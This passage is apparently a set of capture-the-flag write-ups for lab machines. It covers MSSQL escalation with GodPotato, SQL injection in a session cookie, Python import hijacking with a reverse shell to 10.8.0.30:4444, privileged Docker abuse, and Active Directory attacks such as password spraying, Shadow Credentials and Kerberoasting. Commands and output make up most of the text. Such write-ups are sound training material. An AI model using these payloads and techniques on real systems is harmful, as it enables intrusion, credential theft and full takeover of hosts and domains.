➜  run git:(bleeding-jumbo) ./keepass2john /root/machines/ronin/Matrioska/found_database.kdbx > /root/machines/ronin/Matrioska/hash.txt
➜  run git:(bleeding-jumbo) ./john /root/machines/ronin/Matrioska/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
<SNIP>
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
lloyd7           (found_database)
1g 0:00:00:04 DONE (2026-09-14 20:52) 0.2045g/s 61756p/s 61756c/s 61756C/s lloyd7..lloyd143
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The database password was lloyd7.

Opening the database revealed credentials for the MSSQL sa account.

The recovered credential was:

sa : Imp0ss1bl3t0l3@kx!

MSSQL Access as sa

The recovered credentials were used to connect to the MSSQL instance on port 50668:

➜  Matrioska impacket-mssqlclient sa@172.16.18.11 -port 50668
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MTK161\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MTK161\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

The sa account provided a highly privileged SQL session. We enabled xp_cmdshell and checked the privileges of the resulting process:

➜  Matrioska impacket-mssqlclient sa@172.16.18.11 -port 50668
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(MTK161\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(MTK161\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL

PRIVILEGES INFORMATION
----------------------
NULL

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

The SeImpersonatePrivilege privilege was enabled, providing a path to SYSTEM through token impersonation.

SeImpersonatePrivilege Abuse with GodPotato

We used the MSSQL client to upload GodPotato to the target:

SQL (sa  dbo@master)> upload /root/tools/GodPotato-NET4.exe C:/Users/Public/GodPotato-NET4.exe
[+] Data length (b64-encoded): 74.67 KB with MD5: 1fdb1dd742674d3939f636c3fc4b761f
[+] Uploading...
[+] Uploaded
[+] certutil -decode "C:/Users/Public/GodPotato-NET4.exe.b64" "C:/Users/Public/GodPotato-NET4.exe"
[+] del "C:/Users/Public/GodPotato-NET4.exe.b64"
[+] certutil -hashfile "C:/Users/Public/GodPotato-NET4.exe" MD5
[+] MD5 hashes match
SQL (sa  dbo@master)>

With the binary on the host, we executed it through xp_cmdshell to impersonate the SYSTEM token:

SQL (sa  dbo@master)> xp_cmdshell C:/Users/Public/GodPotato-NET4.exe -cmd "cmd /c whoami"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140706148188160
[*] DispatchTable: 0x140706150905408
[*] UseProtseqFunction: 0x140706149879744
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\963995d6-324a-47ed-bd7f-03f67e659fd0\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000b002-2ab8-ffff-32c1-faf82a91b313
[*] DCOM obj OXID: 0xf44df838e871054f
[*] DCOM obj OID: 0x470d5668585e4b44
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 912 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 6160
nt authority\system
NULL

The command executed successfully as NT AUTHORITY\SYSTEM.

We then used the same technique to retrieve the root flag:

SQL (sa  dbo@master)> xp_cmdshell C:/Users/Public/GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.flg"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140706148188160
[*] DispatchTable: 0x140706150905408
[*] UseProtseqFunction: 0x140706149879744
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\fc74eb2e-6c12-48ac-9a7a-e796c74379db\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00008402-06bc-ffff-e03c-0b24c1494eca
[*] DCOM obj OXID: 0xd7ec4831d0a0611
[*] DCOM obj OID: 0x17e291b912bbf92d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 912 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 7796
ce1c<SNIP>555
SQL (sa  dbo@master)>

Dungeon - Ronin66 Machine

Fri, 11 Sep 2026 00:00:00 GMT

Summary

Dungeon is a Linux machine exposing SSH and a Python Werkzeug application on port 5000. Initial enumeration revealed an authenticated dice-rolling application with a vulnerable Bearer cookie used to validate sessions.

The Bearer cookie was vulnerable to SQL injection, allowing authentication bypass and SQL query manipulation. The application was connected to MySQL as root, which allowed the use of LOAD_FILE() to read local files and INTO OUTFILE to write arbitrary content to the filesystem.

Source code analysis revealed that the /calculate endpoint executed calculator.py, which imported Python's random module from the application directory. By writing a malicious random.py and triggering the dice functionality, Python import hijacking was used to obtain a root shell inside the application container.

The container had access to the host user's home directory, where an SSH private key for mat was exposed. Using the recovered key, an SSH session was established on the host.

Finally, pspy64 revealed that root periodically executed a Docker Compose job from /master. The Compose configuration mounted a directory writable by mat into a privileged container with the host filesystem mounted at /host. Replacing the executed script allowed the creation of a SUID-enabled copy of /bin/bash, resulting in full root access to the host.

Recon

Initial Enumeration

A full TCP scan with service detection was performed to identify the exposed services:

nmap -sC -sV -p- -v 172.16.18.12 --min-rate 5000

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 05:39:49:e4:05:83:13:36:99:1b:8a:9a:ac:63:9f:8b (ECDSA)
|_  256 2d:7a:75:78:09:f7:af:d2:cd:06:ed:a0:7e:2b:62:a0 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only two TCP services were exposed. SSH was running on port 22, while port 5000 hosted a Python Werkzeug application. The web application was therefore prioritized for further enumeration.

Web Enumeration

The application was manually enumerated for accessible routes and functionality:

The application allowed users to register an account, which was used to access the authenticated functionality.

After authentication, the application presented a dice-rolling feature through the Roll the Dice button.

The authenticated functionality became the main focus of the assessment.

Shell as root in the container

SQL Injection in the Bearer Cookie

The initial tests against the login functionality triggered an application debug response. The following request was sent through Burp Suite:

POST /login HTTP/1.1
Host: 172.16.18.12:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://172.16.18.12:5000
Connection: keep-alive
Referer: http://172.16.18.12:5000/login
Cookie: Bearer=716571080e93c9554850804905bdfda1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=a&password[$ne]=a

The debug response disclosed that the application was running from /app/app.py. The same testing was then performed against the registration endpoint:

POST /register HTTP/1.1
Host: 172.16.18.12:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://172.16.18.12:5000
Connection: keep-alive
Referer: http://172.16.18.12:5000/register
Cookie: Bearer=716571080e93c9554850804905bdfda1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=a&password[$ne]=a

The debug information showed that the application created a Bearer token for authenticated sessions. This token was used by the /calculator and /calculate routes, making it the next logical injection point.

A request to /calculate with an invalid token was rejected:

Cookie: Bearer=INVALID

Replacing the token with a SQL injection payload bypassed the authentication check:

Cookie: Bearer=INVALID' or 1=1 -- -

The Bearer cookie was therefore confirmed to be vulnerable to SQL injection.

Database Enumeration

We used the injection to identify the database account executing the queries:

Cookie: Bearer=INVALID' UNION SELECT 1,user(),3,4 -- -

The database connection was running as root. This was particularly useful because MySQL root may have sufficient privileges to read and write files on the filesystem.

Reading app.py

The SQL injection was then used to read /app/app.py through LOAD_FILE() encoding it's output in hex:

Cookie: Bearer=INVALID' UNION SELECT 1,hex(LOAD_FILE('/app/app.py')),3,4 -- -

Using cryptii website, we recovered source code and confirmed the vulnerable authentication logic:

def check_auth(token):
    if not token:
        return False

    try:
        token_clean = token
        conn = get_db()

        with conn.cursor() as cursor:
            query = f"SELECT * FROM users WHERE token = '{token_clean}'"
            cursor.execute(query)
            result = cursor.fetchone()

        conn.close()
        return result

The Bearer token was directly concatenated into the SQL query, explaining the injection observed during testing.

The source code also revealed that the /calculate endpoint executed calculator.py from the application's working directory:

@app.route('/calculate', methods=['POST'])
def calculate():
    token = request.cookies.get('Bearer')
    user = check_auth(token)
    if not user:
        return redirect('/login')

    output = subprocess.getoutput("python3 ./calculator.py")
    <SNIP>

This introduced the possibility of manipulating the Python code executed by the application.

Python Import Hijacking

We retrieved /app/calculator.py using the same LOAD_FILE() technique:

Cookie: Bearer=INVALID' UNION SELECT 1,hex(LOAD_FILE('/app/calculator.py')),3,4 -- -

The script imported the Python random module and immediately used it to generate the dice values:

import random
import sys
import site

# Mostra informazioni sui site-packages
print("=== Python Site Packages Information ===")
print("Site-packages directories:", site.getsitepackages())
print("\n" + "="*50 + "\n")

# First line: exact Python version
print(f"Python version: {sys.version}\n")

# Classic D&D dice
dice = {
    "d4": random.randint(1, 4),
    "d6": random.randint(1, 6),
    "d8": random.randint(1, 8),
    "d10": random.randint(1, 10),
    "d12": random.randint(1, 12),
    "d20": random.randint(1, 20),
}

# Nice header
output = "✨⚔ Epic Dice Roll ⚔✨\n\n"
output += "🎲 Let the fate decide your destiny!\n\n"

# Add results
for die, value in dice.items():
    output += f"{die.upper():<4} → {value}  🎲\n"

print(output)

Because calculator.py imported random from the same directory in which it was executed, a local random.py could be used to hijack the import.

We first created a malicious module containing a Python reverse shell:

➜  Dungeon cat random.py
import socket,subprocess,os;s=socket.socket();s.connect(("10.8.0.30",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])

Since the application was connected to MySQL as root, we attempted to write the payload to /app/random.py using INTO OUTFILE:

➜  Dungeon HEX=$(xxd -p random.py | tr -d '\n')

➜  Dungeon curl -s "http://172.16.18.12:5000/calculator" --cookie "Bearer=INVALID' UNION SELECT 1,0x${HEX},3,4 INTO OUTFILE '/app/random.py'-- -"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.

Although the request returned a redirect, the SQL query was processed and the file was written.

We then accessed /calculator and triggered Roll the Dice:

http://172.16.18.12:5000/calculator

The application returned an error while importing random.py.

The issue was caused by the remaining UNION SELECT values. The 1, 3, and 4 values were also written into the Python file, corrupting the payload.

Workaround

To prevent the remaining UNION SELECT fields from breaking the Python file, empty strings were used for the other columns. We also appended # to the reverse shell so that any trailing data written to the file would be interpreted as a comment.

➜  Dungeon cat random.py
import socket,subprocess,os;s=socket.socket();s.connect(("10.8.0.30",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])#

The resulting file effectively contained:

PAYLOAD + # + TRASH

Everything after the # was ignored by Python, allowing the payload to execute successfully.

The modified payload was then written to /app/random.py:

➜  Dungeon HEX=$(xxd -p random.py | tr -d '\n')

➜  Dungeon curl -s "http://172.16.18.12:5000/calculator" --cookie "Bearer=INVALID' UNION SELECT 0x${HEX},'','','' INTO OUTFILE '/app/random.py'-- -"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.

We then triggered the dice functionality again while listening for the reverse shell.

The callback returned a shell as root inside the application container:

root@235e734eb20a:/#

We inspected the filesystem and identified /mnt/app as the mounted application directory:

root@235e734eb20a:/# df -h
Filesystem                         Size  Used Avail Use% Mounted on
overlay                             12G  6.5G  4.2G  61% /
tmpfs                               64M     0   64M   0% /dev
shm                                 64M    16K     0   0% /dev/shm
/dev/mapper/ubuntu--vg-ubuntu--lv   12G  6.5G  4.2G  61% /mnt/app
tmpfs                              481M     0  481M     0% /proc/acpi
tmpfs                              481M     0  481M     0% /proc/scsi
tmpfs                              481M     0  481M     0% /sys/firmware
root@235e734eb20a:/# cd /mnt/app
root@235e734eb20a:/mnt/app# ls -la
total 48
drwxr-x--- 7 1000 1000 4096 Sep 11 17:30 .
drwxr-xr-x 1 root root 4096 Sep 11 18:36 ..
lrwxrwxrwx 1 1000 1000    9 Sep  8  2025 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Mar 31  2024 .bashrc
drwx------ 2 1000 1000 4096 Sep  5  2025 .cache
drwx------ 3 1000 1000 4096 Sep  5  2025 .docker
drwxrwxr-x 3 1000 1000 4096 Sep  5  2025 .local
-rw-r--r-- 1 1000 1000  807 Mar 31  2024 .profile
drwx------ 2 1000 1000 4096 Nov 22  2025 .ssh
-rw-r--r-- 1 1000 1000    0 Sep  5  2025 .sudo_as_admin_successful
-rw-rw-r-- 1 1000 1000  180 Sep  5  2025 .wget-hsts
drwxrwxr-x 2 root root 4096 Sep  7  2025 dicesim
-rw------- 1 1000 1000   32 Sep 11 17:30 user.flg
root@235e734eb20a:/mnt/app# cat user.flg
6ea<SNIP>7697

The user flag was retrieved from the mounted application directory.

Shell as mat

SSH Private Key

Further enumeration of /mnt/app revealed an .ssh directory belonging to UID 1000, which corresponded to the host user mat.

root@235e734eb20a:/mnt/app/.ssh# ls -la
total 20
drwx------ 2 1000 1000 4096 Nov 22  2025 .
drwxr-x--- 7 1000 1000 4096 Sep 11 17:30 ..
-rw-r--r-- 1 1000 1000   90 Nov 22  2025 authorized_keys
-rw------- 1 1000 1000  399 Sep  5  2025 id_ed25519
-rw-r--r-- 1 1000 1000   90 Sep  5  2025 id_ed25519.pub
root@235e734eb20a:/mnt/app/.ssh# cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNz<SNIP>cpOup
uG4oPzQsk0U/BvJXYXP2AAAACG1hdEBvcmM0AQIDBAU=
-----END OPENSSH PRIVATE KEY-----
root@235e734eb20a:/mnt/app/.ssh# cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZrPGKTYB1UyWh/oBncpOupuG4oPzQsk0U/BvJXYXP2 mat@orc4
root@235e734eb20a:/mnt/app/.ssh#

The id_ed25519 private key was copied to the attack host and used to authenticate to SSH as mat:

➜  Dungeon nano id_ed25519
➜  Dungeon chmod 600 id_ed25519
➜  Dungeon ssh mat@172.16.18.12 -i id_ed25519
<SNIP>
Last login: Sat Nov 22 15:16:38 2025 from 10.8.0.2
mat@orc4:~$ id
uid=1000(mat) gid=1000(mat) groups=1000(mat)
mat@orc4:~$ ls -al
total 48
drwxr-x--- 7 mat  mat  4096 Sep 11 17:30 .
drwxr-xr-x 3 root root 4096 Sep  5  2025 ..
lrwxrwxrwx 1 root root    9 Sep  8  2025 .bash_history -> /dev/null
-rw-r--r-- 1 mat  mat   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 mat  mat  3771 Mar 31  2024 .bashrc
drwx------ 2 mat  mat  4096 Sep  5  2024 .cache
drwxrwxr-x 2 root root 4096 Sep  7  2025 dicesim
drwx------ 3 mat  mat  4096 Sep  5  2025 .docker
drwxrwxr-x 3 mat  mat  4096 Sep  5  2025 .local
-rw-r--r-- 1 mat  mat   807 Mar 31  2024 .profile
drwx------ 2 mat  mat  4096 Nov 22  2025 .ssh
-rw-r--r-- 1 mat  mat     0 Sep  5  2025 .sudo_as_admin_successful
-rw------- 1 mat  mat    32 Sep 11  17:30 user.flg
-rw-rw-r-- 1 mat  mat   180 Sep  5  2025 .wget-hsts
mat@orc4:~$

We now had a shell as mat on the host.

Root

Root Docker Job

With a host shell as mat, pspy64 was used to monitor processes running with elevated privileges:

mat@orc4:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░

<SNIP>
2026/09/11 19:26:01 CMD: UID=0     PID=73286  | /bin/sh -c cd /master && docker-compose up -d && sleep 40 && docker-compose down -v
2026/09/11 19:26:01 CMD: UID=0     PID=73285  | sleep 15
<SNIP>

A root process was periodically starting Docker Compose from /master. We inspected the Compose configuration:

mat@orc4:/master$ ls -al
total 20
drwxr-xr-x  3 root root 4096 Nov 22  2025 .
drwxr-xr-x 24 root root 4096 Sep  8  2025 ..
drwxr-xr-x  3 root root 4096 Sep  8  2025 campaign
-rw-r--r--  1 root root  225 Nov 22  2025 docker-compose.yml
-rw-r--r--  1 root root   88 Nov 22  2025 Dockerfile
mat@orc4:/master$ cat docker-compose.yml
version: '3'
services:
   campaign-runner:
      build: .
      privileged: true
      volumes:
       - /:/host
       - /master/campaign/scripts/:/app/
      command: bash -c "sleep 15 && /app/campaign.sh && rm -rf /app/*"
mat@orc4:/master$

The container was configured with privileged: true and mounted the host filesystem at /host. The /master/campaign/scripts/ directory was also mounted into the container as /app, and /app/campaign.sh was executed automatically.

We then checked the permissions of the scripts directory:

mat@orc4:/master/campaign$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep  8  2025 .
drwxr-xr-x 3 root root 4096 Sep  8  2025 ..
drwxrwxr-x 2 mat  mat  4096 Sep 11 19:22 scripts

The directory was writable by mat, meaning the script executed by the privileged container could be replaced.

Privileged Container Abuse

We replaced campaign.sh with a script that copied /bin/bash through the host filesystem mounted at /host and enabled the SUID bit:

mat@orc4:/tmp$ cat > /master/campaign/scripts/campaign.sh <<'EOF'
#!/bin/bash
cp /host/bin/bash /host/tmp/rootbash
chown root:root /host/tmp/rootbash
chmod +s /host/tmp/rootbash
EOF

mat@orc4:/tmp$ chmod +x /master/campaign/scripts/campaign.sh

After the root job executed the modified script, /tmp/rootbash was created with the SUID bit:

mat@orc4:/tmp$ ls -la
total 5616
drwxrwxrwt 15 root root    4096 Sep 11 19:19 .
drwxr-xr-x 24 root root    4096 Sep  8  2025 ..
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .font-unix
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .ICE-unix
-rw-rw-r-- 1 mat  mat        0 Sep 11 19:04 linpeas_host_checker_23826.err
-rw-rw-r-- 1 mat  mat        0 Sep 11 19:04 linpeas_host_checker_23826.json
-rwxrwxr-x 1 mat  mat  1133905 Sep 11 19:02 linpeas.sh
-rwxrwxr-x 1 mat  mat  3104768 Sep 11 19:02 pspy64
-rwsr-sr-x 1 root root 1446024 Sep 11 19:19 rootbash
drwx------  2 root root    4096 Mar 15 09:54 snap-private-tmp
drwx------  3 root root    4096 Sep 11 17:29 systemd-private-d7482ff3b039423f95b073f1bf0cfcc1-fwupd.service-9uWTNQ
drwx------  3 root root    4096 Sep 11 19:04 tmux-1000
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .X11-unix
drwxrwxrwt  2 root root    4096 Mar 15 09:54 .XIM-unix
mat@orc4:/tmp$ ./rootbash -i -p
rootbash-5.2# id
uid=1000(mat) gid=1000(mat) euid=0(root) egid=0(root) groups=0(root),1000(mat)

The effective UID was 0, providing root privileges on the host.

We then accessed /root and retrieved the root flag:

rootbash-5.2# cd /root
rootbash-5.2# ls -la
total 52
drwx------  6 root root 4096 Sep 11 17:30 .
drwxr-xr-x 24 root root 4096 Sep  8  2025 ..
lrwxrwxrwx  1 root root    9 Sep  8  2025 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22  2024 .bashrc
drwx------ 2 root root 4096 Sep  7  2025 .cache
drwx------ 3 root root 4096 Sep  5  2025 .docker
-rw------- 1 root root   20 Mar 15 10:07 .lesshst
drwxr-xr-x  3 root root 4096 Sep  5  2025 .local
-rw-r--r-- 1 root root  161 Apr 22  2024 .profile
-rwxr-xr-x 1 root root  110 Nov 22  2025 restart_dicesim.sh
-rw------- 1 root root   32 Sep 11 17:30 root.flg
-rw-r--r-- 1 root root   66 Sep  8  2025 .selected_editor
drwx------ 2 root root 4096 Sep  8  2025 .ssh
-rw------- 1 root root  685 Sep  7  2025 .viminfo
rootbash-5.2# cat root.flg
687<SNIP>890

Recovery - Ronin66 Machine

Thu, 10 Sep 2026 00:00:00 GMT

Summary

Recovery is a Windows domain controller for the recovery.local domain. Initial enumeration revealed that SMB accepted null authentication, allowing the domain user list to be enumerated. One account had a password exposed in its description field, which was successfully sprayed against the other users and resulted in valid credentials for j.ortega.

With access as j.ortega, BloodHound identified an AddKeyCredentialLink relationship over s.connery. This permission was abused to perform a Shadow Credentials attack, obtaining the NT hash of s.connery and gaining a WinRM session.

From the compromised host, a custom binary in C:\Utils was downloaded and analyzed with strings, revealing another cleartext credential. The recovered password belonged to s.johansson. BloodHound then showed that s.johansson had WriteSPN over w.dafoe, allowing a targeted Kerberoasting attack. The resulting TGS hash was cracked offline, recovering w.dafoe's password.

Finally, BloodHound showed that w.dafoe had GenericAll over the domain controller. This was abused to configure Resource-Based Constrained Delegation (RBCD), impersonate Administrator, and obtain full control of the domain controller.

Recon

Initial Enumeration

A full TCP scan with service detection was performed to identify the exposed services:

nmap -sSV -p- 172.16.18.19 --min-rate 5000

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: recovery.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
3268/tcp  open  ldap
3269/tcp  open  ssl/ldap
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

The exposed Kerberos, LDAP, SMB, and RPC services indicated that the target was a domain controller. The LDAP banner identified the domain as recovery.local, while the service information identified the host as DC01.

SMB Enumeration

Since SMB was exposed on port 445, a null session was tested. The server accepted anonymous authentication and allowed the domain user list to be enumerated:

nxc smb 172.16.18.19 -u '' -p '' --users

SMB   172.16.18.19   445   DC01   [+] recovery.local\:
SMB   172.16.18.19   445   DC01   -Username-      -Last PW Set-       -BadPW- -Description-
SMB   172.16.18.19   445   DC01   Guest           <never>             0
SMB   172.16.18.19   445   DC01   s.connery       2025-10-14 12:37:26 0
SMB   172.16.18.19   445   DC01   m.gibson        2025-10-14 12:38:51 0
SMB   172.16.18.19   445   DC01   j.statham       2025-10-14 12:40:40 0   ChangeMe2025!
SMB   172.16.18.19   445   DC01   s.johansson     2025-10-17 13:46:49 0
SMB   172.16.18.19   445   DC01   j.ortega        2025-10-14 13:17:02 0
SMB   172.16.18.19   445   DC01   w.dafoe         2025-10-17 13:44:57 0
SMB   172.16.18.19   445   DC01   [*] Enumerated 7 local users: RECOVERY

The description field for j.statham contained the value ChangeMe2025!, which appeared to be a password. Testing it against the account itself showed that it was not valid for j.statham:

nxc smb 172.16.18.19 -u 'j.statham' -p 'ChangeMe2025!'

SMB   172.16.18.19   445   DC01   [-] recovery.local\j.statham:ChangeMe2025! STATUS_LOGON_FAILURE

Since the password was exposed in the domain user enumeration output but did not belong to j.statham, it was sprayed against the other enumerated accounts:

nxc smb 172.16.18.19 -u users.txt -p 'ChangeMe2025!'

SMB   172.16.18.19   445   DC01   [-] recovery.local\s.connery:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\m.gibson:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\j.statham:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\s.johansson:ChangeMe2025! STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [+] recovery.local\j.ortega:ChangeMe2025!

The password was valid for j.ortega:

j.ortega : ChangeMe2025!

Shell as s.connery

BloodHound Analysis

With valid domain credentials, BloodHound data was collected to identify additional attack paths:

bloodyAD --host 172.16.18.19 -d recovery.local -u 'j.ortega' -p 'ChangeMe2025!' get bloodhound

The resulting BloodHound data showed that j.ortega had the AddKeyCredentialLink permission over s.connery.

AddKeyCredentialLink allows a new Key Credential to be associated with the target account. This can be abused through a Shadow Credentials attack to authenticate as the target account using PKINIT.

Shadow Credentials Attack

Before performing the attack, the local system clock was synchronized with the domain controller to avoid Kerberos authentication failures caused by clock skew. bloodyAD was then used to add a Shadow Credential to s.connery:

ntpdate 172.16.18.19
bloodyAD --host 172.16.18.19 -d recovery.local -u 'j.ortega' -p 'ChangeMe2025!' add shadowCredentials s.connery

[+] KeyCredential generated with following sha256 of RSA key: 31a076ce8fdb33064fe108ed74395c2379a1a2ad9e2d29205cbafbe0e67afdd7
[+] TGT stored in ccache file s.connery_zx.ccache

NT: 406345455039820bb7e5fad7cf82c556

The attack returned the NT hash associated with s.connery. The hash was then used for pass-the-hash authentication over WinRM:

evil-winrm -i 172.16.18.19 -u 's.connery' -H '406345455039820bb7e5fad7cf82c556'

*Evil-WinRM* PS C:\Users> cat Public/user.flg
e34<SNIP>a09

This provided an authenticated shell as s.connery.

Shell as s.johansson

Cleartext Credential in mount.exe

While enumerating the compromised host, a custom executable was found in C:\Utils:

*Evil-WinRM* PS C:\Utils> ls

    Directory: C:\Utils

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/15/2025   6:09 PM         113774 mount.exe

The binary was downloaded for local analysis. Running strings against it revealed a hardcoded credential:

strings mount.exe

user: ******@recovery.local
password: R0ckth!spass678

The recovered password was then sprayed against the previously enumerated domain accounts to determine which account it belonged to:

nxc smb 172.16.18.19 -u users.txt -p 'R0ckth!spass678'

<SNIP>

SMB   172.16.18.19   445   DC01   [-] recovery.local\s.connery:R0ckth!spass678 STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\m.gibson:R0ckth!spass678 STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [-] recovery.local\j.statham:R0ckth!spass678 STATUS_LOGON_FAILURE
SMB   172.16.18.19   445   DC01   [+] recovery.local\s.johansson:R0ckth!spass678

The password was valid for s.johansson:

s.johansson : R0ckth!spass678

Targeted Kerberoast against w.dafoe

Using the s.johansson credentials, BloodHound was reviewed for additional privileges and relationships. It showed that s.johansson had WriteSPN over w.dafoe.

This permission allowed a targeted Kerberoasting attack. The attack temporarily assigned an SPN to w.dafoe, requested a Kerberos service ticket for the account, and removed the SPN after the ticket was obtained:

